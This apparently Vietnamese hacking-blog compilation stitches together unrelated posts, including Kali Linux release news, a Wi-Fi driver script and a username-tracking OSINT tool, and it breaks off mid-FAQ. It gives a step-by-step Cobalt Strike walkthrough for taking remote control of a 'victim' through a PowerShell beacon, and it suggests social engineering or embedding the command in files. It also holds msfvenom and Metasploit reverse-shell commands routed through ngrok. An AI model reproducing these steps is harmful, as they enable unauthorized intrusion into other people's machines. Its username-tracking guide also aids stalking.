Lưu ý: Mục đích của bài viết nhằm phục vụ quá trình học tập và tìm hiểu cách hacker làm việc. Từ đó phòng tránh được những trường hợp liên quan. Các bạn sẽ phải tự chịu trách nhiệm với những hành vi trái phép của mình. Và còn 1 điều nữa là do đây chỉ là bài demo nên mình sẽ làm nó thuận lợi nhất có thể bằng cách bỏ qua một số quá trình khác.

Chuẩn bị

Mình sẽ sử dụng 2 máy ảo là Kali Linux (attacker) và Windows 11 (victim) trên Vmware 17 để thực hiện mô phỏng.

Cobalt Strike sẽ yêu cầu Java trên hệ thống nên các bạn cần cài Java trên Kali Linux bằng lệnh sau:

sudo apt install default-jdk

Nhập tiếp lệnh dưới để xác nhận java đã cài đặt thành công hay chưa:

java --version

Nếu terminal hiện version của java thì các bạn đã cài đặt java thành công rồi nhé.

Tiếp theo, các bạn lấy địa chỉ IP của máy Kali Linux bằng lệnh sau:

ip a

Địa chỉ của máy bạn sẽ có dạng 192.168.xxx.xxx. Các bạn copy địa chỉ này để các bước sau sử dụng nhé.

Cách điều khiển máy nạn nhân bằng COBALT STRIKE

Bước 1: Trên máy Linux (Kali hoặc Ubuntu), các bạn tải Cobalt Strike (link ai cần thì pm riêng)

Bước 2: Giải nén file COBALT STRIKE của bạn, thông thường sẽ có 2 mục là Server và Client

Bước 3: Các bạn vào thư mục Server rồi chạy 2 lệnh dưới. Mục đích của 2 lệnh này là cấp quyền thực thi cho 2 file chúng ta sắp sử dụng.

sudo chmod +x ./teamserver
sudo chmod +x ./TeamServerImage

Bước 4: Tiếp theo các bạn chạy lệnh dưới. IP là địa chỉ IP của con Server Linux bạn đang thực hiện bạn copy trong bước chuẩn bị, còn pass thì các bạn muốn đặt sao cũng được.

sudo ./teamserver <IP> <Pass>

Bước 5: Truy cập vào thư mục Client và mở Terminal thứ 2, lưu ý không đóng terminal chạy teamserver nhé. Sau đó chạy 2 lệnh dưới:

sudo chmod +x ./cobalstrike-client.cmd
./cobalstrike-client.cmd

Bước 6: Sau khi chạy lệnh này xong thì cobalt strike sẽ mở giao diện connect. Tại đây các bạn cần điền những trường sau:

• Alias: <User của Kali>@<IP>.
• Host: Ip của máy.
• Port: Để mặc định là 50050.
• User: User của Kali.
• Password: Điền password hồi nãy bạn chạy teamserver trong terminal 1.

Cuối cùng nhấn “Connect”.

Bước 7: Nhấn “Yes”.

Bước 8: Chọn “Cobalt Strike” -> “Listeners”.

Bước 9: Trong cửa sổ Listerner, nhấn “Add” ở dưới cùng màn hình.

Bước 10: Mình đặt tên cho Listener này là c2. Payload thì các bạn chọn “Beacon HTTP”. Trong phần “HTTP Hosts”, nhấn dấu “+”. Cuối cùng nhấn “Save”.

Bước 11: Chọn “Attacks” -> “Scripted Web Delivery”.

Bước 12: Trong phần Listener, nhấn nút “…”. Chọn Listener bạn vừa tạo và nhấn “Choose”.

Bước 13: Trong type, chọn “powershell”, rồi nhấn “Launch”.

Bước 14: Cobalt Strike sẽ cấp cho bạn 1 câu lệnh dùng để thực thi trên máy nạn nhân. Các bạn copy câu lệnh này lại nhé.

Bước 15: Mở PowerShell trên máy nạn nhân và chạy câu lệnh do Cobalt Strike cấp. Đừng hỏi mình cách để mở Powershell trên máy nạn nhân rồi chạy lệnh nhé. Tuỳ thuộc vào kỹ năng của bạn mà sẽ có nhiều cách khác nhau. Mình sẽ gợi ý 2 cách là dùng social engineering hoặc nhúng lệnh vào file khác.

Bước 16: Quay lại máy Kali Linux, các bạn sẽ thấy máy của nạn nhân đã được thêm vào Cobalt Strike.

Bước 17: Chuột phải vào máy nạn nhân và chọn “Interact”.

Bước 18: Nhập một lệnh bất kì. Lệnh mà bạn nhập sẽ được thực thi trên máy của nạn nhân. Nhớ thêm shell vào trước lệnh nhé. Mình sẽ nhập lệnh shell ipconfig /all.

Và đây là kết quả. Các bạn đã thành công rồi đó.

Bài viết này chỉ demo trong môi trường mạng LAN, nếu bạn thực hiện trong môi trường Internet thì cần NAT port 50050 nhé.

Câu hỏi thường gặp

Cobalt Strike là gì và nó hoạt động như thế nào?

Cobalt Strike là một phần mềm dùng để khai thác và triển khai Beacon trên máy nạn nhân. Beacon hoạt động như một con sâu, cho phép hacker điều khiển từ xa máy nạn nhân và thực thi các lệnh hoặc mã độc hại.

Tôi cần cài đặt phần mềm gì để sử dụng Cobalt Strike?

Bạn cần cài đặt Java trên hệ thống của mình (ví dụ: sử dụng lệnh sudo apt install default-jdk trên Kali Linux) trước khi sử dụng Cobalt Strike.

Làm thế nào để kết nối Cobalt Strike với máy nạn nhân?

Sau khi thiết lập server Cobalt Strike, bạn sẽ nhận được một lệnh từ Cobalt Strike. Chạy lệnh này trên máy nạn nhân (bằng cách như nhúng vào file hoặc Social Engineering) để thiết lập kết nối.

• Kali Purple cho Blue và Purple team
• Phát hành thêm 8 công cụ mới!
• Cảnh báo về những thay đổi của Python
• Thêm các theme Kali mới
• và còn nhiều cập nhập khác nữa

Giới thiệu về Kali Purple

Là một phần của bản phát hành Kali Linux này, nhóm Kali Linux cũng đã công bố một dự án mới có tên ‘Kali Purple’, một bản phân phối được thiết kế để phòng thủ an ninh mạng(defensive security).

“Trong những năm qua, chúng tôi đã hoàn thiện những gì chúng tôi làm tốt nhất, tấn công an ninh mạng. Hiện chúng tôi đang bắt đầu mở rộng sang một lĩnh vực mới, phòng thủ an ninh mạng!”, thông báo ngày hôm nay của nhóm Kali Linux.

.@kalilinux will be 1️⃣0️⃣ years old on Monday, March 13th! Join the celebration with office hours, an AMA, and a Puzzle Challenge.

☞ Kali Linux & Friends Discord: https://t.co/cTCBAciq8z
☞ Reddit: https://t.co/08iFws3Tpz
☞ 🧩 Challenge: coming 🔜 pic.twitter.com/Khnmz3SWrT

— OffSec (@offsectraining) March 10, 2023

“Chúng tôi đang thử nghiệm các kỹ thuật mới trước khi ra mắt “Kali Purple”. Hiện tại, phiên bản này vẫn còn ở giai đoạn sơ khai và sẽ cần thêm thời gian để hoàn thiện. Nhưng bạn có thể thấy hướng đi mà Kali đang mở rộng. Bạn cũng có thể là một một phần giúp định hình phương hướng của Kali Purple”. Phát biểu của Nhóm Kali Linux.

Bản phân phối mới này vẫn đang ở trong giai đoạn đầu nhưng đã có hơn 100 công cụ phòng thủ, bao gồm Malcolm, Surricata, Arkime, TheHive và Zeek, cùng một trang Wiki chuyên dụng để giúp bạn tìm hiểu mọi thứ.

Kali NetHunter (nền tảng thử nghiệm thâm nhập di động dành cho thiết bị Android) đã hỗ trợ một số thiết bị và ROM mới và Kali ARM cho bo mạch Radxa Zero SBC.

Cuối cùng, là một số thay đổi trong Python 3.11 và PIP.

Bạn có thể tải Kali Purple dưới dạng ISO cho hệ thống x64/AMD64 tại đây.

Cấu trúc thư mục của Kali Purple

• Protect
• Detect
• Respond
• Recover

Kiến trúc của Kali Purple

Kali Purple sử dụng kiến ​​trúc SOC In-A-Box gồm phân tích SOC, bài tập cho Blue/Red/Purple team và kiểm soát thiết kế bảo mật.

8 công cụ mới trong Kali Linux 2023.1

Đây sẽ là một bản phát hành nhàm chán nếu không có các công cụ mới và bản phát hành này mang đến tám bản phát hành mới cho bạn, bao gồm cả CyberChef và Arkime.

Dưới đây là tám công cụ mới được thêm vào Kali 2023.1:

• Arkime – Công cụ tìm và bắt các gói mã nguồn mở.
• CyberChef – Được biết đến với cái tên ‘Cyber Swiss Army Knife’, CyberChef cho phép bạn phân tích, giải mã mã nguồn và dữ liệu bằng nhiều công cụ khác nhau. Bạn có thể tìm hiểu thêm tại đây.
• DefectDojo – Một công cụ kết hợp bảo mật và quản lý lỗ hổng ứng dụng mã nguồn mở.
• Dscan – Một phiên bản khác của Nmap dùng để phân tán, cho phép liệt kê mạng phân tán.
• Kubernetes-Helm – Một nền tảng mã nguồn mở quản lý gói tin trong Kubernetes.
• PACK2 – Bộ công cụ phân tích và bẻ khóa mật khẩu.
• Redeye – Redeye là công cụ giúp bạn quản lý dữ liệu của mình trong quá trình vận hành kiểm thử bảo mật theo cách hiệu quả và có tổ chức nhất.
• Unicrypto – Giao diện hợp nhất (Unified interface) cho một số thuật toán tiền điện tử

Cảnh báo về những thay đổi của Python

Nhóm Kali đang cảnh báo rằng có nhiều thay đổi trong Python trùng với bản phát hành ổn định (Stable) sắp tới của Debian.

Nhóm Kali giải thích: “Debian đang chuẩn bị phát hành phiên bản ổn định tiếp theo (xảy ra khoảng 2 năm một lần và nó sẽ diễn ra vào mùa hè năm nay).
“Kết quả là, các gói packages  đang được cập nhật ở khắp mọi nơi. Những người sử dụng packages phải nâng cấp lên phiên bản mới nhất, nếu không, sẽ phải chờ bản phát hành tiếp theo trong một khoảng thời gian dài!”

Tuy nhiên, những thay đổi này có thể gây ra sự cố với PIP, khiến Nhóm Kali phải phát hành một bản vá tạm thời để ngăn trình quản lý gói phá vỡ toàn hệ thống.

Nhóm Kali cũng chia sẻ thêm ba phương pháp khác để cập nhật các packages nhằm ngăn hệ thống quản lý gói trên toàn hệ thống bị hỏng.

Thêm các giao diện Kali mới (Theme)

Như với tất cả các phiên bản đầu tiên của năm, Kali cũng giới thiệu một vài giao diện mới như: hình nền, màn hình khởi động và màn hình đăng nhập/màn hình khóa, bao gồm cả hình nền Kali Purple mới (dưới cùng bên trái).
Kali Linux cũng đã thêm một số thay đổi dành cho máy tính để bàn, với một số điều chỉnh đối với Xfce 4.18 (phát hành vào tháng 12 năm 2022) và bổ sung thêm KDE Plasma 5.27.

Có thể gặp sự cố với NVIDIA

Nhóm Kali cảnh báo rằng bản phát hành này có thể gặp sự cố với các thiết bị sử dụng GPU NVIDIA, khiến HĐH trở nên chậm hơn, không phản hồi hoặc bị đóng băng hoàn toàn.

Nếu bạn gặp phải bất kỳ triệu chứng nào, bạn có thể xóa driver NVIDIA bằng cách thực hiện các lệnh sau:

sudo apt purge "*nvidia*"
sudo reboot -f

Cách tải và cài Kali Linux 2023.1

Để bắt đầu sử dụng Kali Linux 2023.1, bạn có thể nâng cấp phiên bản hiện tại của mình, chọn một nền tảng hoặc tải trực tiếp các file ISO xuống (cả Kali Purple) để cài đặt.

Đối với những phiên bản cập nhật từ phiên bản trước, bạn có thể sử dụng các lệnh sau để nâng cấp lên phiên bản mới nhất.

echo "deb https://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

sudo apt update && sudo apt -y full-upgrade

cp -rbi /etc/skel/. ~

[ -f /var/run/reboot-required ] && sudo reboot -f

Nếu bạn đang chạy Kali trên Windows Subsystem for Linux, hãy nâng cấp lên WSL2 để có trải nghiệm tốt hơn, vì nó có hỗ trợ cho các ứng dụng đồ họa.
Bạn có thể kiểm tra phiên bản WSL mà Kali sử dụng bằng lệnh wsl -l -v trong cmd của Windows.

Sau khi nâng cấp xong, bạn có thể kiểm tra xem nâng cấp có thành công hay không bằng cách sử dụng lệnh sau:

grep VERSION /etc/os-release

Mình chỉ tổng hợp những thứ nổi bật nhất trong phiên bản 2023.1. Vậy nên nếu bạn muốn biết thêm nhiều thông tin hơn nữa thì có thể đọc tại đây.

Câu hỏi thường gặp

Kali Purple là gì và nó khác gì so với các phiên bản Kali Linux trước đây?

Kali Purple là một bản phân phối Kali Linux mới tập trung vào an ninh mạng phòng thủ (defensive security), khác với các phiên bản trước đây chủ yếu tập trung vào tấn công (offensive security). Nó cung cấp hơn 100 công cụ hỗ trợ các nhóm Blue, Red và Purple team.

Kali Linux 2023.1 có những công cụ mới nào đáng chú ý?

Phiên bản này bổ sung 8 công cụ mới, bao gồm Arkime (phân tích gói tin), CyberChef (phân tích dữ liệu), và nhiều công cụ khác hỗ trợ kiểm tra thâm nhập và quản lý lỗ hổng.

Tôi có nên cập nhật lên Kali Linux 2023.1 ngay không?

Nên cập nhật lên phiên bản mới nhất để được hưởng các tính năng và công cụ mới. Tuy nhiên, hãy lưu ý đến các thay đổi về Python và PIP được đề cập trong bài viết và thực hiện các bước cập nhật theo hướng dẫn của nhóm Kali để tránh sự cố.

Cấu hình Ngrok

Để sử dụng Ngrok, bạn cần có tài khoản. Truy cập https://ngrok.com/ và tạo tài khoản bằng email hoặc sử dụng tùy chọn Google | Github Oauth. Tiếp theo, tải xuống tệp cài đặt Ngrok bằng cách truy cập Setup & Installation, sau đó nhấp chuột phải vào tùy chọn Download for Linux và sao chép địa chỉ liên kết:

Tiếp theo, vào Terminal của máy tấn công và wget tệp ZIP Ngrok. Sau đó giải nén, thêm quyền thực thi và cuối cùng di chuyển tệp Ngrok sang /usr/local/bin/:

cd /tmp
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/

LƯU Ý: Liên kết trên có khả năng không hoạt động với bạn. Sử dụng liên kết bạn đã sao chép từ trang chủ Ngrok.

Cấu hình AuthToken

Bây giờ bạn đã cài đặt xong Ngrok, chúng ta cần cung cấp cho Ngrok mã xác thực (authentication token) được cung cấp trong web của Ngrok. Truy cập tab Your Authtoken từ trong tài khoản của bạn:

Và sau đó sao chép Authtoken:

Cuối cùng, hãy chạy lệnh sau để định cấu hình Ngrok sử dụng Authtoken này:

ngrok authtoken 'AUTHTOKEN_GOES_HERE'

Các trường hợp sử dụng Ngrok cho Pentester trên Kali Linux

Dưới đây là một số trường hợp sử dụng Ngrok trong quá trình Pentest.

Truyền tệp bằng Netcat

Chuyển các tệp sang một máy không nằm trong mạng nội bộ của bạn là không thể nhưng cho đến khi bạn biết đến Ngrok. Để cung cấp dịch vụ Netcat qua Internet với Ngrok, hãy thực hiện các bước sau:

1. Thiết lập trình nghe Netcat trên một cổng bạn chọn

2. Chạy Ngrok bằng lệnh tcp và chỉ định cổng bạn đã sử dụng để khởi động Netcat

Sau khi nhấn enter, trang tổng quan trạng thái phiên của Ngrok sẽ xuất hiện từ đó bạn có thể lấy URL:

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để truyền tệp bằng Netcat. Lưu ý rằng URI tcp:// không được sử dụng khi chỉ định URL cho Netcat. Và đừng quên xóa: và thay thế bằng dấu cách:

Truyền File bằng máy chủ HTTP

Đôi khi bạn muốn chuyển tệp bằng các máy chủ HTTP đơn giản như mô-đun http.server của Python. Để chuyển tệp từ máy cục bộ của bạn qua Internet bằng máy chủ HTTP được lưu trữ cục bộ, hãy thực hiện các bước sau:

1. Khởi động máy chủ HTTP trên cổng bạn muốn

2. Chạy Ngrok bằng lệnh http và chỉ định cổng bạn đã sử dụng để khởi động máy chủ HTTP trên

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để tải tệp

curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt

Metasploit Reverse Shells qua Internet

Việc tạo tải trọng Msfvenom với địa chỉ IP cục bộ sẽ hạn chế bạn bằng cách chỉ cho phép bạn tạo tải trọng cho các máy cục bộ. Để tạo tải trọng cho một máy từ xa kết nối lại qua Internet với Metasploit cục bộ của bạn, hãy thực hiện các bước sau:

1. Chạy Ngrok và chỉ định cổng cục bộ mà trình xử lý sẽ lắng nghe

2. Khởi động trình xử lý Metasploit và định cấu hình các tùy chọn ReverseListenerBindAddress và ReverseListenerBindPort để khi kết nối, chúng sẽ chuyển tiếp lưu lượng đến localhost:4444:

use exploit/multi/handler
set lhost 6.tcp.ngrok.io
set lport 16737
set payload linux/x64/meterpreter/reverse_tcp
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4444
run -j

3. Tạo tải trọng Msfvenom và chỉ định URI do Ngrok cung cấp làm tham số LHOST

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737

4. Chuyển tệp sang máy nạn nhân và sau đó chạy tải trọng. Bạn sẽ nhận được kết nối trở lại trên trình xử lý Metasploit cục bộ của mình:

LƯU Ý: Hãy cẩn thận khi sử dụng Ngrok cho các reverse shell. Nếu không được xử lý, bạn có thể vô tình để lộ mạng của khách hàng trước những kẻ xấu.

Kiểm tra lỗi hổng tương tác dịch vụ

Kiểm tra các tương tác máy chủ bên ngoài như giả mạo yêu cầu phía máy chủ (SSRF) có thể nhanh chóng thực hiện bằng cách sử dụng Ngrok. Chỉ cần tạo một trình nghe Ngrok trên bất kỳ cổng nào bạn muốn và sau đó sử dụng URL được cung cấp để đưa vào các thông số có khả năng dễ bị tấn công như tiêu đề HTTP, thông số chuyển hướng URL,… để cố gắng tìm lỗ hổng tương tác dịch vụ OOD:

Sau đó, chúng ta có thể mô phỏng một dịch vụ OOB với cURL:

Như bạn  có thể thấy, một số yêu cầu GET đã được gửi đến trình nghe Ngrok, có thể được sử dụng để xác nhận các lỗ hổng như SSRF.

Ngoài ra, bạn cũng có thể sử dụng RAT mà không cần mở Port bằng Ngrok tại đây.

Câu hỏi thường gặp

Ngrok là gì và tại sao nó hữu ích cho Pentest?

Ngrok là một công cụ tạo đường hầm HTTP/TCP, cho phép bạn tiếp cận các dịch vụ trên máy tính cá nhân của mình từ Internet mà không cần phải cấu hình NAT port phức tạp hoặc tiết lộ địa chỉ IP công cộng. Điều này rất hữu ích trong Pentest để dễ dàng kiểm tra các ứng dụng từ xa.

Tôi cần làm gì sau khi cài đặt Ngrok?

Sau khi cài đặt, bạn cần xác thực tài khoản Ngrok của mình bằng Authtoken. Bạn có thể lấy Authtoken từ trang cá nhân trên website Ngrok và sử dụng lệnh ngrok authtoken 'YOUR_AUTHTOKEN' để cấu hình.

Ngrok có an toàn không khi sử dụng cho reverse shell?

Cần thận trọng khi sử dụng Ngrok cho reverse shell vì nó có thể làm lộ mạng của khách hàng nếu không được xử lý cẩn thận. Hãy đảm bảo tuân thủ các nguyên tắc bảo mật và chỉ sử dụng trên các hệ thống mà bạn có quyền truy cập hợp pháp.

Công cụ RTL8188EUS SCRIPT chỉ hỗ trợ trên hệ điều hành Kali Linux và Parrot OS. Đây là 2 hệ điều hành hầu như 69 % là các hacker thường sử dụng. Vậy nên, các bạn nào muốn chọn hề điều hành thích hợp để học hack có thể đọc qua bài viết này nhé. Ngoài ra script được viết bằng ngôn ngữ Python kết hợp với ngôn ngữ Shell . Không chỉ vậy, driver này còn được hỗ trợ cho bộ điều hợp TP-Link WN722N, TP-Link WN725N,… Để cài đặt driver thuận lợi nhất qua script này thì chúng ta tìm hiểu qua về yêu cầu của script nha.

Yêu cầu khi cài RTL8188EUS SCRIPT Driver TPLink WN722N

1. Yêu cầu hệ thống update và upgrade đầy đủ sẽ tiết kiệm thời gian hơn
2. Yêu cầu phải có python3 và pip3 trong máy Kali Linux hoặc Parrot OS

Như vậy, đó là 2 yêu cầu tối thiểu nhất của script. Còn bây giờ đến phần cài đặt và sử dụng script thôi !

Cài đặt và hướng dẫn sử dụng RTL8188EUS SCRIPT

Việc cài đặt Driver Wifi cho TPLink 722N trên Kali linux khá đơn giản, các bạn hãy nhập những câu lệnh sau. Trong hướng dẫn bên dưới mình test trên Virtual Box và thành công 100% khi bắt sóng và kết nối Wifi xung quanh.

git clone https://github.com/sonvan1811/rtl8188eus.git

cd rtl8188eus

python3 rtl8188eus.py

Tại đây, sẽ có 2 lựa chọn cho bạn đó là tải driver trên máy Kali Linux và tải driver trên máy Parrot OS, mình đang sử dụng hệ điều hành Parrot OS nên mình chọn vào số 2 nhé.

Trong khi script đã cài đặt các gói cần thiết. Lúc này, các bạn hãy nhập mật khẩu quyền sudo của các bạn để tiếp tục quá trình cài đặt

Khi quá trình cài đặt hoàn tất, việc của các bạn bây giờ là nhập lệnh sudo reboot hoặc reboot để khởi động lại máy

Quá trình khởi động máy đã xong, bây giờ các bạn hãy cắm usb wifi vào máy rồi mở Device -> USB trên máy ảo của các bạn sau đó kick chuột vào thiết bị usb wifi nhá. Ở đây mình đang sử dụng usb wifi TP-Link WN722N V2/V3. Bạn nào muốn mua con usb này thì ghé qua tại đây

Khi nó hiện như trên hình là các bạn đã cài đặt thành công rồi nhé ^^. Còn bây giờ là các bạn có thể đi hack wifi được rồi đó. Còn nếu bạn nào chưa biết cách hack wifi thì có thể đọc bài viết này của Anonyviet nha

Ngoài ra bạn có thể xem toàn bộ quá trình cài đặt script và cách bật mode monitor ( chế độ giám sát ) tại đây

Vậy là mình đã hướng dẫn xong rùi, bạn nào gặp lỗi gì trong khi cài đặt thì hãy bình luận dưới phần Comments hoặc inbox trực tiếp để nhận sự trợ giúp nhá. Bye Bye !, chúc các bạn có 1 ngày tốt lành và học tập làm việc hiệu quả 

Câu hỏi thường gặp

Script này hỗ trợ những hệ điều hành nào?

Script RTL8188EUS chỉ hỗ trợ Kali Linux và Parrot OS.

Tôi cần những gì trước khi chạy script?

Bạn cần đảm bảo hệ thống đã được cập nhật đầy đủ (update và upgrade), và đã cài đặt python3 và pip3.

Nếu gặp lỗi trong quá trình cài đặt, tôi phải làm gì?

Vui lòng để lại bình luận hoặc liên hệ trực tiếp để được hỗ trợ.

Kali Linux là một bản phân phối Linux cho phép các chuyên gia bảo mật và Hacker mũ trắng thực hiện kiểm tra thâm nhập và kiểm tra bảo mật chống lại các tác mối đe dọa từ lỗ hổng bảo mật của hệ thống mạng.

Với bản phát hành này, Nhóm Kali Linux giới thiệu thêm một loạt các tính năng mới, bao gồm:

• Hỗ trợ Apple M1 cho VMware Fusion Public Tech Preview
• Khả năng tương thích rộng được kích hoạt cho Samba
• Chuyển đổi sang trình quản lý gói của Cloudflare dễ dàng hơn
• Kaboxer được cập nhật, hỗ trợ cho các chủ đề cửa sổ và biểu tượng
• Cập nhật cho Xfce, GNOME và KDE
• Image Raspberry Pi Zero 2 W + USBArmory MkII ARM
• Và 9 công cụ khác nữa

Hỗ trợ Apple M1

Bạn đã có thể cài đặt Kali Linux trong Parallels trên Apple Silicon Macs.

Với Kali Linux 2021.4, giờ đây bạn còn có thể cài đặt bản phân phối trên VMware Fusion Public Tech Preview vì kernel mới bao gồm các mô-đun cần thiết cho GPU ảo.

Sử dụng trình cài đặt của Kali sẽ tự động phát hiện xem bạn có đang cài đặt trên VMware hay không và kiểm tra cài đặt các gói thích hợp.

Samba có khả năng tương thích rộng

Vì các giao thức không an toàn được phát hiện ở Samba, chúng thường bị vô hiệu hóa theo mặc định trên các bản phân phối Linux để tăng tính bảo mật.

Vì Kali Linux là một bản phân phối thử nghiệm thâm nhập, tốt hơn hết là bạn nên bật tất cả các giao thức để những kẻ phá hoại có thể tìm thấy các phiên bản cũ hơn, dễ bị tấn công.

Với bản phát hành này, Offensive Security đang định cấu hình Samba để có khả năng tương thích rộng, có nghĩa là họ đang kích hoạt các giao thức Samba cũ hơn.

9 công cụ mới được thêm vào Kali Linux 2021.4

Đây sẽ không phải là một phiên bản Kali Linux mới nếu không có một số công cụ và tiện ích mới, vậy nên lần này Kali đã thêm 9 công cụ mới bao gồm:

• Dufflebag – Tìm kiếm các tập EBS bị lộ
• Maryam – Framework mã nguồn mở (OSINT)
• Name-That-Hash – Tìm cấu trúc băm
• Proxmark3 – nếu bạn đang sử dụng Proxmark3 và hack RFID
• Reverse Proxy Grapher – biểu đồ graphviz minh họa luồng proxy ngược của bạn
• S3Scanner – Quét các nhóm S3 đang mở và kết xuất nội dung
• Spraykatz – Công cụ thu thập thông tin xác thực tự động hóa procdump và phân tích cú pháp từ xa của quy trình lsass.
• truffleHog – Tìm kiếm thông qua kho lưu trữ git cho các chuỗi và entropy cao, đào sâu vào lịch sử commit
• Web of trust grapher (wotmate) – Tìm đường dẫn PGP không còn tồn tại mà không cần bất kỳ thứ gì khác ngoài keyring của riêng bạn

Hỗ trợ ARM nâng cao

Nhóm Kali Linux tiếp tục cải thiện hỗ trợ cho các thiết bị ARM với những thay đổi sau:

• Tất cả các hình ảnh hiện đều sử dụng ext4 cho filesystem root và thay đổi kích thước của hfilesystem root trong lần khởi động đầu tiên. Điều này sẽ tăng tốc độ so với các bản phát hành trước đó đang sử dụng ext3 và giảm thời gian khởi động trong lần khởi động lại đầu tiên khi việc thay đổi kích thước xảy ra.
• Hỗ trợ Raspberry Pi Zero 2 W, nhưng giống như Raspberry Pi 400, không có hỗ trợ Nexmon.
• Nói về Raspberry Pi Zero 2 W, vì nó rất giống với Zero W, nhóm cũng đã thêm image PiTail để hỗ trợ bộ xử lý mới có hiệu suất tốt hơn.
• Image Raspberry Pi hiện hỗ trợ khởi động qua USB vì nhóm không còn mã hóa thiết bị gốc nữa.
• Image Raspberry Pi hiện bao gồm firmware Nexmon. Bản phát hành kalipi-config trong tương lai sẽ cho phép bạn chuyển đổi giữa chúng, nếu bạn muốn thử nghiệm các phiên bản khác nhau.
• Image sử dụng kernel của nhà cung cấp giờ đây sẽ có thể đặt domain quy định đúng cách.
• Pinebook Pro hiện có thể được ép xung. Các lõi lớn nhận được 2GHz và các lõi nhỏ được thêm 1,5GHz.
  echo 1 | sudo tee /sys/devices/system/cpu/cpufreq/boost để bật
  echo 0 | sudo tee /sys/devices/system/cpu/cpufreq/boost để tắt
• Image USBArmory MkII đã được thêm vào.

Cách tải Kali Linux 2021.4

Để bắt đầu sử dụng Kali Linux 2021.4, bạn có thể nâng cấp cài đặt hiện có của mình hoặc tải image ISO cho các bản cài đặt mới và bản phân phối trực tiếp tại đây.

Đối với những cập nhật từ phiên bản trước, bao gồm cả cài đặt trên Windows Subsystem for Linux (WSL), bạn có thể sử dụng các lệnh sau để nâng cấp lên phiên bản mới nhất.

echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

sudo apt update && sudo apt -y full-upgrade

cp -i /etc/skel/.bashrc ~/

cp -i /etc/skel/.zshrc ~/

chsh -s /bin/zsh

[ -f /var/run/reboot-required ] && sudo reboot -f

Sau khi hoàn tất nâng cấp, bạn có thể xem quá trình nâng cấp lên Kali Linux 2021.4 có thành công hay không bằng cách sử dụng lệnh sau:

grep VERSION /etc/os-release

Bạn có thể tìm thấy bảng thay đổi hoàn chỉnh cho Kali 2021.4 tại trang web của Kali.

Câu hỏi thường gặp

Kali Linux 2021.4 hỗ trợ những nền tảng nào?

Kali Linux 2021.4 hỗ trợ Apple M1 (qua VMware Fusion Public Tech Preview và Parallels), cùng với các kiến trúc khác đã được hỗ trợ trước đây.

Bản phát hành này có thêm bao nhiêu công cụ mới?

Kali Linux 2021.4 bổ sung 9 công cụ mới, bao gồm các công cụ hỗ trợ kiểm tra thâm nhập và phân tích bảo mật.

Làm thế nào để tôi cập nhật lên Kali Linux 2021.4?

Bạn có thể nâng cấp từ phiên bản trước bằng các lệnh được cung cấp trong bài viết hoặc tải xuống bản ISO mới để cài đặt.

OSINT là gì?

OSINT là viết tắt của trí thông minh với mã nguồn mở và được đề cập đến việc thu thập dữ liệu hay thông tin từ các nguồn công khai trên Internet như công ty lớn như Facebook, Google hay từ 1 số tổ chức thuộc chính phủ hoặc từ 1 số cá nhân cụ thể.

Nói chung, các kỹ thuật OSINT đã được tìm ra từ những thông tin có sẵn và có khả năng thu thập, sử dụng và phân phối trong một thời gian thích hợp cho đối tượng thích hợp để định hướng một nhu cầu tình báo, truy vết cụ thể.

Và trong số dữ liệu có thể lấy được thì Internet là một nguồn dữ liệu đa dạng, phong phú và xuất hiện ở mọi nơi. Vì vậy Internet là công cụ của các bạn để có thể truy vết thông tin của người khác. Các bạn có thể xem thêm về OSINT tại đây

Nexfil – công cụ truy vết (OSINT) username

Nexfil được phát triển bới thewhiteh4t trên github và được viết trên ngôn ngữ python3. Nexfil sẽ sử dụng Username được cung cấp để check trên 350 website chỉ với vài giây. Tool này rất tiện để truy vết người dùng từ biệt danh hay từ username trong game.

Một số điểm tốt của tool:

• Nhanh – gọn – lẹ
• Trả về kết quả dưới 20 giây
• Tìm kiếm trên 350 nền tảng mạng xã hội khác nhau
• Có thể đọc username từ file .txt hoặc nhập trực tiếp trong terminal
• Kết quả sẽ tự động lưu vào file .txt

Tính năng sẽ phát triển:

• Có thể đọc từ file JSON và CSV
• Hỗ trợ Proxy
• Hỗ trợ Tor

Hướng dẫn cài đặt và sử dụng tool Nexfil

Cài đặt

Bước 1: Các bạn cần tải file về sử dụng lệnh git hoặc tải trực tiếp đối với ai đang sử dụng window

git clone https://github.com/thewhiteh4t/nexfil.git

Đối với các bạn chạy lệnh lỗi thì hãy chạy lệnh sau trước:

sudo apt install git-all

Bước 2: Các bạn vào thư mục của Nexfil

cd nexfil

Bước 3: Các bạn tải các gói cần thiết để sử dụng bằng câu lệnh sau:

pip3 install -r requirements.txt

Hoặc các bạn nhập câu lệnh sau:

pip3 install [tên gói]

Tên gói sẽ bao gồm:

• aiohttp
• aiodns
• cchardet
• tldextract
• requests

Sử dụng Tool Nexfil

Mở help của tool: python3 nexfil.py -h

Nội dung Help của tool:

[rescue_box color=”gray” text_align=”left” width=”100%” float=”none”]

Cú pháp: nexfil.py [-h] [-u U] [-d D [D …]] [-f F] [-l L] [-t T] [-v]

Nexfil – Find social media profiles on the web | v1.0.0

Phần mở rộng
-h, –help mở help của ứng dụng
-u Username cụ thể
-d [D …] Chỉ định server dns cụ thể [Mặc định : 1.1.1.1]
-f Chọn 1 file có list username để track
-l Chọn nhiều username cùng lúc (được tách ra bằng dấu phẩy)
-t Điều chỉnh thời gian timeout [Mặc định : 20s]
-v Phiên bản ứng dụng

[/rescue_box]

1 Số câu lệnh mẫu:

Test 1 username duy nhất:

python3 nexfil.py -u username

Test từ 2 username trên terminal

python3 nexfil.py -l "user1, user2"

Test username từ file .txt

python3 nexfil.py -f users.txt

Demo Nexfil (nguồn: thewhiteh4t)

Vậy là mình vừa hướng dẫn xong cách OSINT từ username 1 cách đơn giản nhất từ Nexfil. Hãy để lại bình luận để mình biết ý kiến của các bạn nhé!

Câu hỏi thường gặp

Nexfil hoạt động như thế nào?

